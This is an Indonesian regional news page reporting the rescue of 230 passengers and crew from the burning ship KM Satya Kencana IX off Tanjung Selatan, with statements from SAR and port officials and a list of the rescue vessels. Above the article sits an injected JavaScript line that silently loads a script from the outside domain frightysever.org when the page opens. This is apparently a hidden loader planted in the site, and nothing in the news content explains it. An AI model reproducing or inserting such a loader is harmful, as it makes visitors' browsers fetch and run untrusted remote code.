(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, Kerja luar biasa ditunjukkan semua tim evakuasi penumpang dan krew KM Satya Kencana IX yang mengalami musibah kebakaran pada Sabtu (4/8) pagi di wilayah 54 mil Barat Daya perairan Tanjung Selatan. Kerja keras, dedikasi, dan profesionalitas seluruh tim, baik yang di laut maupun darat, berhasil menyelamatkan ratusan nyawa penumpang!
Proses evakuasi yang dilakukan tim Posko Gabungan terhadap 230 penumpang dari KM Satya Kencana IX tidaklah pendek. Lebih dari 10 jam mereka bergelut mengevakuasi ke kapal penolong, membawa ke pelabuhan Trisaksi Banjarmasin, hingga melakukan perawatan kesehatan.
Kepala Kesyahbabdaran dan Otoritas Pelabuhan (KSOP) Banjarmasin Bambang Gunawan mengatakan, bahwa proses evakuasi telah selesai malam tadi. Sementara itu, Kepala Kantor SAR Banjarmasin, Mujiono yang turut langsung terlibat dalam tahap evakuasi menyadari jarak tempuh tim gabungan menuju titik lokasi cukup jauh. “Perjalanan kami tadi itu 4 jam, terkendala dalam kita membawa tim medis untuk bantuan tindak lanjut,†terangnya.
Selain itu kata dia, tim berangkat dengan kecepatan maksimal. Saat tiba di lokasi kejadian, tim medis langsung menangani para penumpang. Terkait adanya korban yang meninggal dunia, kata dia, tim resque tak berani menyatakan korban meninggal, kecuali dokter.
Kendati telah rampungnya proses evakuasi seluruh penumpang, tim yang masih berada di lokasi kejadian akan diperintahkan kembali ke Banjarmasin. “Untuk kapal KN SAR Laksmana saya tarik malam ini, namun kondisi kapal terbakar saya belum mengetahui pasti,†tutupnya.
Sebelumnya, kantor SAR Banjarmasin menyatakan sepuluh unit kapal gabungan dari berbagai unsur telah dikerahkan untuk mengevakuasi penumpang KM Satya Kencana IX yang terbakar saat berlayar dari Surabaya menuju Bnjarmasin pada Sabtu pagi.
“Kapal yang membantu proses evakuasi ada 10 kapal, terdiri dari kapal KRI Hiu dan Kumai milik TNI AL, kapal KN SAR Laksamana dari Basarnas,” kata Kepala Sub Seksi Sumber Daya Kantor SAR Banjarmasin Endrow Sasmita.
Ia merinci kapal lainnya yang turut dikerahkan, yakni Kapal KN Altair milik Disnav Banjarmasin, KNP 363 milik KSOP Banjarmasi, serta kapal dari operator pelayaran, PT Dharma Lautan Utama, yakni Kapal KM Niki Sae, KM Kumala dan Tug Boat Bina Marine 97.
Dalam proses evakuasi penumpang, KM Niki Sae membawa 141 orang dan kapal KM Kumala membawa 84 orang. Kedua kapal tersebut dalam perjalanan menuju Posko yang berada di Pelabuhan Trisakti, Banjarmasin, Kalimantan Selatan.(ammar)
KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More
KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More
KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More
This website uses cookies.